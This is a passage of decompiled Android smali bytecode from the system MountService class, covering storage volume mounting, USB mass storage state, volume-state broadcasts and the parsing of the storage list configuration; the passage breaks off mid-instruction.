.prologue const/4 v12, 0x1 const/4 v11, 0x0 .line 613 iget-object v8, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v8 .line 614 :try_start_0 new-instance v4, Ljava/util/HashMap; iget-object v7, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-direct {v4, v7}, Ljava/util/HashMap;-><init>(Ljava/util/Map;)V .line 615 .local v4, "snapshot":Ljava/util/HashMap;, "Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/String;>;" monitor-exit v8 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 617 invoke-virtual {v4}, Ljava/util/HashMap;->entrySet()Ljava/util/Set; move-result-object v7 invoke-interface {v7}, Ljava/util/Set;->iterator()Ljava/util/Iterator; move-result-object v1 .local v1, "i$":Ljava/util/Iterator; :cond_0 :goto_0 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z move-result v7 if-eqz v7, :cond_2 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v0 check-cast v0, Ljava/util/Map$Entry; .line 618 .local v0, "entry":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Ljava/lang/String;Ljava/lang/String;>;" invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object; move-result-object v2 check-cast v2, Ljava/lang/String; .line 619 .local v2, "path":Ljava/lang/String; invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object; move-result-object v5 check-cast v5, Ljava/lang/String; .line 621 .local v5, "state":Ljava/lang/String; const-string v7, "unmounted" invoke-virtual {v5, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v7 if-eqz v7, :cond_1 .line 622 invoke-direct {p0, v2}, Lcom/android/server/MountService;->doMountVolume(Ljava/lang/String;)I move-result v3 .line 623 .local v3, "rc":I if-eqz v3, :cond_0 .line 624 const-string v7, "MountService" const-string v8, "Boot-time mount failed (%d)" new-array v9, v12, [Ljava/lang/Object; invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v10 aput-object v10, v9, v11 invoke-static {v8, v9}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v8 invoke-static {v7, v8}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .line 615 .end local v0 # "entry":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Ljava/lang/String;Ljava/lang/String;>;" .end local v1 # "i$":Ljava/util/Iterator; .end local v2 # "path":Ljava/lang/String; .end local v3 # "rc":I .end local v4 # "snapshot":Ljava/util/HashMap;, "Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/String;>;" .end local v5 # "state":Ljava/lang/String; :catchall_0 move-exception v7 :try_start_1 monitor-exit v8 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 throw v7 .line 627 .restart local v0 # "entry":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Ljava/lang/String;Ljava/lang/String;>;" .restart local v1 # "i$":Ljava/util/Iterator; .restart local v2 # "path":Ljava/lang/String; .restart local v4 # "snapshot":Ljava/util/HashMap;, "Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/String;>;" .restart local v5 # "state":Ljava/lang/String; :cond_1 const-string v7, "shared" invoke-virtual {v5, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v7 if-eqz v7, :cond_0 .line 632 const/4 v7, 0x0 const/4 v8, 0x7 invoke-direct {p0, v7, v2, v11, v8}, Lcom/android/server/MountService;->notifyVolumeStateChange(Ljava/lang/String;Ljava/lang/String;II)V goto :goto_0 .line 638 .end local v0 # "entry":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Ljava/lang/String;Ljava/lang/String;>;" .end local v2 # "path":Ljava/lang/String; .end local v5 # "state":Ljava/lang/String; :cond_2 iget-object v8, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v8 .line 639 :try_start_2 iget-object v7, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v7}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v1 :cond_3 :goto_1 invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z move-result v7 if-eqz v7, :cond_4 invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v6 check-cast v6, Landroid/os/storage/StorageVolume; .line 640 .local v6, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v6}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v7 if-eqz v7, :cond_3 .line 641 const-string v7, "mounted" invoke-direct {p0, v6, v7}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V goto :goto_1 .line 644 .end local v6 # "volume":Landroid/os/storage/StorageVolume; :catchall_1 move-exception v7 monitor-exit v8 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_1 throw v7 :cond_4 :try_start_3 monitor-exit v8 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_1 .line 650 iget-boolean v7, p0, Lcom/android/server/MountService;->mSendUmsConnectedOnBoot:Z if-eqz v7, :cond_5 .line 651 invoke-direct {p0, v12}, Lcom/android/server/MountService;->sendUmsIntent(Z)V .line 652 iput-boolean v11, p0, Lcom/android/server/MountService;->mSendUmsConnectedOnBoot:Z .line 658 :cond_5 iget-object v7, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; invoke-static {v7}, Lcom/android/server/MountServiceIdler;->scheduleIdlePass(Landroid/content/Context;)V .line 659 return-void .end method .method private hasUmsVolume()Z .locals 6 .prologue .line 1522 invoke-virtual {p0}, Lcom/android/server/MountService;->getVolumeList()[Landroid/os/storage/StorageVolume; move-result-object v3 .line 1523 .local v3, "storageVolumes":[Landroid/os/storage/StorageVolume; move-object v0, v3 .local v0, "arr$":[Landroid/os/storage/StorageVolume; array-length v2, v0 .local v2, "len$":I const/4 v1, 0x0 .local v1, "i$":I :goto_0 if-ge v1, v2, :cond_1 aget-object v4, v0, v1 .line 1524 .local v4, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v4}, Landroid/os/storage/StorageVolume;->allowMassStorage()Z move-result v5 if-eqz v5, :cond_0 .line 1525 const/4 v5, 0x1 .line 1528 .end local v4 # "volume":Landroid/os/storage/StorageVolume; :goto_1 return v5 .line 1523 .restart local v4 # "volume":Landroid/os/storage/StorageVolume; :cond_0 add-int/lit8 v1, v1, 0x1 goto :goto_0 .line 1528 .end local v4 # "volume":Landroid/os/storage/StorageVolume; :cond_1 const/4 v5, 0x0 goto :goto_1 .end method .method private hasUserRestriction(Ljava/lang/String;)Z .locals 3 .param p1, "restriction" # Ljava/lang/String; .prologue .line 1359 iget-object v1, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v2, "user" invoke-virtual {v1, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/os/UserManager; .line 1360 .local v0, "um":Landroid/os/UserManager; invoke-static {}, Landroid/os/Binder;->getCallingUserHandle()Landroid/os/UserHandle; move-result-object v1 invoke-virtual {v0, p1, v1}, Landroid/os/UserManager;->hasUserRestriction(Ljava/lang/String;Landroid/os/UserHandle;)Z move-result v1 return v1 .end method .method private isReady()Z .locals 5 .prologue .line 603 :try_start_0 iget-object v1, p0, Lcom/android/server/MountService;->mConnectedSignal:Ljava/util/concurrent/CountDownLatch; const-wide/16 v2, 0x0 sget-object v4, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit; invoke-virtual {v1, v2, v3, v4}, Ljava/util/concurrent/CountDownLatch;->await(JLjava/util/concurrent/TimeUnit;)Z :try_end_0 .catch Ljava/lang/InterruptedException; {:try_start_0 .. :try_end_0} :catch_0 move-result v1 .line 605 :goto_0 return v1 .line 604 :catch_0 move-exception v0 .line 605 .local v0, "e":Ljava/lang/InterruptedException; const/4 v1, 0x0 goto :goto_0 .end method .method private isUidOwnerOfPackageOrSystem(Ljava/lang/String;I)Z .locals 5 .param p1, "packageName" # Ljava/lang/String; .param p2, "callerUid" # I .prologue const/4 v1, 0x1 const/4 v2, 0x0 .line 2154 const/16 v3, 0x3e8 if-ne p2, v3, :cond_1 .line 2169 :cond_0 :goto_0 return v1 .line 2158 :cond_1 if-nez p1, :cond_2 move v1, v2 .line 2159 goto :goto_0 .line 2162 :cond_2 iget-object v3, p0, Lcom/android/server/MountService;->mPms:Lcom/android/server/pm/PackageManagerService; invoke-static {p2}, Landroid/os/UserHandle;->getUserId(I)I move-result v4 invoke-virtual {v3, p1, v4}, Lcom/android/server/pm/PackageManagerService;->getPackageUid(Ljava/lang/String;I)I move-result v0 .line 2169 .local v0, "packageUid":I if-eq p2, v0, :cond_0 move v1, v2 goto :goto_0 .end method .method public static maybeTranslatePathForVold(Ljava/lang/String;[Ljava/io/File;[Ljava/io/File;)Ljava/lang/String; .locals 5 .param p0, "path" # Ljava/lang/String; .param p1, "appPaths" # [Ljava/io/File; .param p2, "voldPaths" # [Ljava/io/File; .prologue .line 2589 array-length v2, p1 array-length v3, p2 if-eq v2, v3, :cond_0 .line 2590 new-instance v2, Ljava/lang/IllegalStateException; const-string v3, "Paths must be 1:1 mapping" invoke-direct {v2, v3}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v2 .line 2593 :cond_0 const/4 v1, 0x0 .local v1, "i":I :goto_0 array-length v2, p1 if-ge v1, v2, :cond_3 .line 2594 new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V aget-object v3, p1, v1 invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object v3 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 const-string v3, "/" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 .line 2595 .local v0, "appPath":Ljava/lang/String; invoke-virtual {p0, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z move-result v2 if-eqz v2, :cond_2 .line 2596 new-instance v2, Ljava/io/File; aget-object v3, p2, v1 invoke-virtual {v0}, Ljava/lang/String;->length()I move-result v4 invoke-virtual {p0, v4}, Ljava/lang/String;->substring(I)Ljava/lang/String; move-result-object v4 invoke-direct {v2, v3, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object p0 .line 2598 const-string v2, "/" invoke-virtual {p0, v2}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z move-result v2 if-nez v2, :cond_1 .line 2599 new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 const-string v3, "/" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object p0 .line 2604 .end local v0 # "appPath":Ljava/lang/String; .end local p0 # "path":Ljava/lang/String; :cond_1 :goto_1 return-object p0 .line 2593 .restart local v0 # "appPath":Ljava/lang/String; .restart local p0 # "path":Ljava/lang/String; :cond_2 add-int/lit8 v1, v1, 0x1 goto :goto_0 .line 2604 .end local v0 # "appPath":Ljava/lang/String; :cond_3 const/4 p0, 0x0 goto :goto_1 .end method .method private notifyShareAvailabilityChange(Z)V .locals 12 .param p1, "avail" # Z .prologue const/4 v11, 0x1 .line 1279 iget-object v9, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v9 .line 1280 :try_start_0 iput-boolean p1, p0, Lcom/android/server/MountService;->mUmsAvailable:Z .line 1281 iget-object v8, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v8}, Ljava/util/ArrayList;->size()I move-result v8 add-int/lit8 v2, v8, -0x1 .local v2, "i":I :goto_0 if-ltz v2, :cond_0 .line 1282 iget-object v8, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v8, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Lcom/android/server/MountService$MountServiceBinderListener; :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 1284 .local v0, "bl":Lcom/android/server/MountService$MountServiceBinderListener; :try_start_1 iget-object v8, v0, Lcom/android/server/MountService$MountServiceBinderListener;->mListener:Landroid/os/storage/IMountServiceListener; invoke-interface {v8, p1}, Landroid/os/storage/IMountServiceListener;->onUsbMassStorageConnectionChanged(Z)V :try_end_1 .catch Landroid/os/RemoteException; {:try_start_1 .. :try_end_1} :catch_0 .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 1281 :goto_1 add-int/lit8 v2, v2, -0x1 goto :goto_0 .line 1285 :catch_0 move-exception v6 .line 1286 .local v6, "rex":Landroid/os/RemoteException; :try_start_2 const-string v8, "MountService" const-string v10, "Listener dead" invoke-static {v8, v10}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I .line 1287 iget-object v8, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v8, v2}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; goto :goto_1 .line 1292 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .end local v2 # "i":I .end local v6 # "rex":Landroid/os/RemoteException; :catchall_0 move-exception v8 monitor-exit v9 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v8 .line 1288 .restart local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .restart local v2 # "i":I :catch_1 move-exception v1 .line 1289 .local v1, "ex":Ljava/lang/Exception; :try_start_3 const-string v8, "MountService" const-string v10, "Listener failed" invoke-static {v8, v10, v1}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I goto :goto_1 .line 1292 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .end local v1 # "ex":Ljava/lang/Exception; :cond_0 monitor-exit v9 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_0 .line 1294 iget-boolean v8, p0, Lcom/android/server/MountService;->mSystemReady:Z if-ne v8, v11, :cond_2 .line 1295 invoke-direct {p0, p1}, Lcom/android/server/MountService;->sendUmsIntent(Z)V .line 1300 :goto_2 invoke-direct {p0}, Lcom/android/server/MountService;->getShareableVolumes()Ljava/util/ArrayList; move-result-object v7 .line 1301 .local v7, "volumes":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Ljava/lang/String;>;" const/4 v4, 0x0 .line 1302 .local v4, "mediaShared":Z invoke-virtual {v7}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v3 .local v3, "i$":Ljava/util/Iterator; :cond_1 :goto_3 invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z move-result v8 if-eqz v8, :cond_3 invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v5 check-cast v5, Ljava/lang/String; .line 1303 .local v5, "path":Ljava/lang/String; invoke-virtual {p0, v5}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v8 const-string v9, "shared" invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v8 if-eqz v8, :cond_1 .line 1304 const/4 v4, 0x1 goto :goto_3 .line 1297 .end local v3 # "i$":Ljava/util/Iterator; .end local v4 # "mediaShared":Z .end local v5 # "path":Ljava/lang/String; .end local v7 # "volumes":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Ljava/lang/String;>;" :cond_2 iput-boolean p1, p0, Lcom/android/server/MountService;->mSendUmsConnectedOnBoot:Z goto :goto_2 .line 1307 .restart local v3 # "i$":Ljava/util/Iterator; .restart local v4 # "mediaShared":Z .restart local v7 # "volumes":Ljava/util/ArrayList;, "Ljava/util/ArrayList<Ljava/lang/String;>;" :cond_3 if-nez p1, :cond_5 if-eqz v4, :cond_5 .line 1311 new-instance v8, Lcom/android/server/MountService$5; const-string v9, "MountService#AvailabilityChange" invoke-direct {v8, p0, v9, v7}, Lcom/android/server/MountService$5;-><init>(Lcom/android/server/MountService;Ljava/lang/String;Ljava/util/ArrayList;)V invoke-virtual {v8}, Lcom/android/server/MountService$5;->start()V .line 1336 :cond_4 :goto_4 return-void .line 1333 :cond_5 if-eqz p1, :cond_4 if-nez v4, :cond_4 .line 1334 invoke-virtual {p0, v11}, Lcom/android/server/MountService;->setUsbMassStorageEnabled(Z)V goto :goto_4 .end method .method private notifyVolumeStateChange(Ljava/lang/String;Ljava/lang/String;II)V .locals 7 .param p1, "label" # Ljava/lang/String; .param p2, "path" # Ljava/lang/String; .param p3, "oldState" # I .param p4, "newState" # I .prologue const/4 v6, 0x7 const/4 v5, 0x1 .line 1063 iget-object v4, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v4 .line 1064 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; invoke-virtual {v3, p2}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v2 check-cast v2, Landroid/os/storage/StorageVolume; .line 1065 .local v2, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {p0, p2}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v1 .line 1066 .local v1, "state":Ljava/lang/String; monitor-exit v4 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 1070 const/4 v0, 0x0 .line 1072 .local v0, "action":Ljava/lang/String; if-ne p3, v6, :cond_0 if-eq p4, p3, :cond_0 .line 1074 const-string v3, "android.intent.action.MEDIA_UNSHARED" sget-object v4, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; invoke-direct {p0, v3, v2, v4}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V .line 1077 :cond_0 const/4 v3, -0x1 if-ne p4, v3, :cond_3 .line 1127 :cond_1 :goto_0 if-eqz v0, :cond_2 .line 1128 sget-object v3, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; invoke-direct {p0, v0, v2, v3}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V .line 1130 :cond_2 :goto_1 return-void .line 1066 .end local v0 # "action":Ljava/lang/String; .end local v1 # "state":Ljava/lang/String; .end local v2 # "volume":Landroid/os/storage/StorageVolume; :catchall_0 move-exception v3 :try_start_1 monitor-exit v4 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 throw v3 .line 1078 .restart local v0 # "action":Ljava/lang/String; .restart local v1 # "state":Ljava/lang/String; .restart local v2 # "volume":Landroid/os/storage/StorageVolume; :cond_3 if-eqz p4, :cond_1 .line 1080 if-ne p4, v5, :cond_5 .line 1085 const-string v3, "bad_removal" invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 if-nez v3, :cond_4 const-string v3, "nofs" invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 if-nez v3, :cond_4 const-string v3, "unmountable" invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 if-nez v3, :cond_4 invoke-direct {p0}, Lcom/android/server/MountService;->getUmsEnabling()Z move-result v3 if-nez v3, :cond_4 .line 1090 const-string v3, "unmounted" invoke-direct {p0, v2, v3}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1091 const-string v0, "android.intent.action.MEDIA_UNMOUNTED" .line 1093 :cond_4 invoke-virtual {p0}, Lcom/android/server/MountService;->isUsbMassStorageConnected()Z move-result v3 if-eqz v3, :cond_1 invoke-virtual {v2}, Landroid/os/storage/StorageVolume;->allowMassStorage()Z move-result v3 if-eqz v3, :cond_1 .line 1094 const-string v3, "ums" invoke-direct {p0, p2, v3, v5}, Lcom/android/server/MountService;->doShareUnshareVolume(Ljava/lang/String;Ljava/lang/String;Z)V goto :goto_0 .line 1095 :cond_5 const/4 v3, 0x2 if-eq p4, v3, :cond_1 .line 1096 const/4 v3, 0x3 if-ne p4, v3, :cond_6 .line 1098 const-string v3, "checking" invoke-direct {p0, v2, v3}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1099 const-string v0, "android.intent.action.MEDIA_CHECKING" goto :goto_0 .line 1100 :cond_6 const/4 v3, 0x4 if-ne p4, v3, :cond_7 .line 1102 const-string v3, "mounted" invoke-direct {p0, v2, v3}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1103 const-string v0, "android.intent.action.MEDIA_MOUNTED" goto :goto_0 .line 1104 :cond_7 const/4 v3, 0x5 if-ne p4, v3, :cond_8 .line 1105 const-string v0, "android.intent.action.MEDIA_EJECT" goto :goto_0 .line 1106 :cond_8 const/4 v3, 0x6 if-ne p4, v3, :cond_9 .line 1107 iget-object v4, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v4 .line 1108 const/4 v3, 0x1 :try_start_2 invoke-virtual {v2, v3}, Landroid/os/storage/StorageVolume;->setIsFormatting(Z)V .line 1109 monitor-exit v4 goto :goto_0 :catchall_1 move-exception v3 monitor-exit v4 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_1 throw v3 .line 1110 :cond_9 if-ne p4, v6, :cond_a .line 1113 const-string v3, "unmounted" invoke-direct {p0, v2, v3}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1114 const-string v3, "android.intent.action.MEDIA_UNMOUNTED" sget-object v4, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; invoke-direct {p0, v3, v2, v4}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V .line 1117 const-string v3, "shared" invoke-direct {p0, v2, v3}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1118 const-string v0, "android.intent.action.MEDIA_SHARED" goto/16 :goto_0 .line 1120 :cond_a const/16 v3, 0x8 if-ne p4, v3, :cond_b .line 1121 const-string v3, "MountService" const-string v4, "Live shared mounts not supported yet!" invoke-static {v3, v4}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto/16 :goto_1 .line 1124 :cond_b const-string v3, "MountService" new-instance v4, Ljava/lang/StringBuilder; invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V const-string v5, "Unhandled VolumeState {" invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 invoke-virtual {v4, p4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v4 const-string v5, "}" invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v4 invoke-static {v3, v4}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto/16 :goto_0 .end method .method private readStorageListLocked()V .locals 32 .prologue .line 1374 move-object/from16 v0, p0 iget-object v3, v0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v3}, Ljava/util/ArrayList;->clear()V .line 1375 move-object/from16 v0, p0 iget-object v3, v0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v3}, Ljava/util/HashMap;->clear()V .line 1377 move-object/from16 v0, p0 iget-object v3, v0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; invoke-virtual {v3}, Landroid/content/Context;->getResources()Landroid/content/res/Resources; move-result-object v25 .line 1379 .local v25, "resources":Landroid/content/res/Resources; const v20, 0x1110012 .line 1380 .local v20, "id":I move-object/from16 v0, v25 move/from16 v1, v20 invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getXml(I)Landroid/content/res/XmlResourceParser; move-result-object v23 .line 1381 .local v23, "parser":Landroid/content/res/XmlResourceParser; invoke-static/range {v23 .. v23}, Landroid/util/Xml;->asAttributeSet(Lorg/xmlpull/v1/XmlPullParser;)Landroid/util/AttributeSet; move-result-object v15 .line 1384 .local v15, "attrs":Landroid/util/AttributeSet; :try_start_0 const-string v3, "StorageList" move-object/from16 v0, v23 invoke-static {v0, v3}, Lcom/android/internal/util/XmlUtils;->beginDocument(Lorg/xmlpull/v1/XmlPullParser;Ljava/lang/String;)V .line 1386 :cond_0 :goto_0 invoke-static/range {v23 .. v23}, Lcom/android/internal/util/XmlUtils;->nextElement(Lorg/xmlpull/v1/XmlPullParser;)V .line 1388 invoke-interface/range {v23 .. v23}, Landroid/content/res/XmlResourceParser;->getName()Ljava/lang/String; :try_end_0 .catch Lorg/xmlpull/v1/XmlPullParserException; {:try_start_0 .. :try_end_0} :catch_0 .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_1 .catchall {:try_start_0 .. :try_end_0} :catchall_0 move-result-object v18 .line 1389 .local v18, "element":Ljava/lang/String; if-nez v18, :cond_2 .line 1459 invoke-virtual/range {p0 .. p0}, Lcom/android/server/MountService;->isExternalStorageEmulated()Z move-result v3 if-eqz v3, :cond_8 const/16 v21, 0x1 .line 1460 .local v21, "index":I :goto_1 move-object/from16 v0, p0 iget-object v3, v0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v3}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v19 .local v19, "i$":Ljava/util/Iterator; :cond_1 :goto_2 invoke-interface/range {v19 .. v19}, Ljava/util/Iterator;->hasNext()Z move-result v3 if-eqz v3, :cond_9 invoke-interface/range {v19 .. v19}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v2 check-cast v2, Landroid/os/storage/StorageVolume; .line 1461 .local v2, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v2}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v3 if-nez v3, :cond_1 .line 1462 add-int/lit8 v22, v21, 0x1 .end local v21 # "index":I .local v22, "index":I move/from16 v0, v21 invoke-virtual {v2, v0}, Landroid/os/storage/StorageVolume;->setStorageId(I)V move/from16 v21, v22 .end local v22 # "index":I .restart local v21 # "index":I goto :goto_2 .line 1391 .end local v2 # "volume":Landroid/os/storage/StorageVolume; .end local v19 # "i$":Ljava/util/Iterator; .end local v21 # "index":I :cond_2 :try_start_1 const-string v3, "storage" move-object/from16 v0, v18 invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 if-eqz v3, :cond_0 .line 1392 sget-object v3, Lcom/android/internal/R$styleable;->Storage:[I move-object/from16 v0, v25 invoke-virtual {v0, v15, v3}, Landroid/content/res/Resources;->obtainAttributes(Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray; move-result-object v14 .line 1395 .local v14, "a":Landroid/content/res/TypedArray; const/4 v3, 0x0 invoke-virtual {v14, v3}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String; move-result-object v24 .line 1397 .local v24, "path":Ljava/lang/String; const/4 v3, 0x1 const/4 v12, -0x1 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getResourceId(II)I move-result v4 .line 1399 .local v4, "descriptionId":I const/4 v3, 0x1 invoke-virtual {v14, v3}, Landroid/content/res/TypedArray;->getText(I)Ljava/lang/CharSequence; move-result-object v16 .line 1401 .local v16, "description":Ljava/lang/CharSequence; const/4 v3, 0x2 const/4 v12, 0x0 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z move-result v5 .line 1403 .local v5, "primary":Z const/4 v3, 0x3 const/4 v12, 0x0 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z move-result v6 .line 1405 .local v6, "removable":Z const/4 v3, 0x4 const/4 v12, 0x0 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z move-result v7 .line 1407 .local v7, "emulated":Z const/4 v3, 0x5 const/4 v12, 0x0 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getInt(II)I move-result v8 .line 1409 .local v8, "mtpReserve":I const/4 v3, 0x7 const/4 v12, 0x0 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z move-result v9 .line 1411 .local v9, "allowMassStorage":Z const/4 v3, 0x6 const/4 v12, 0x1 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z move-result v13 .line 1414 .local v13, "allowMtp":Z const/16 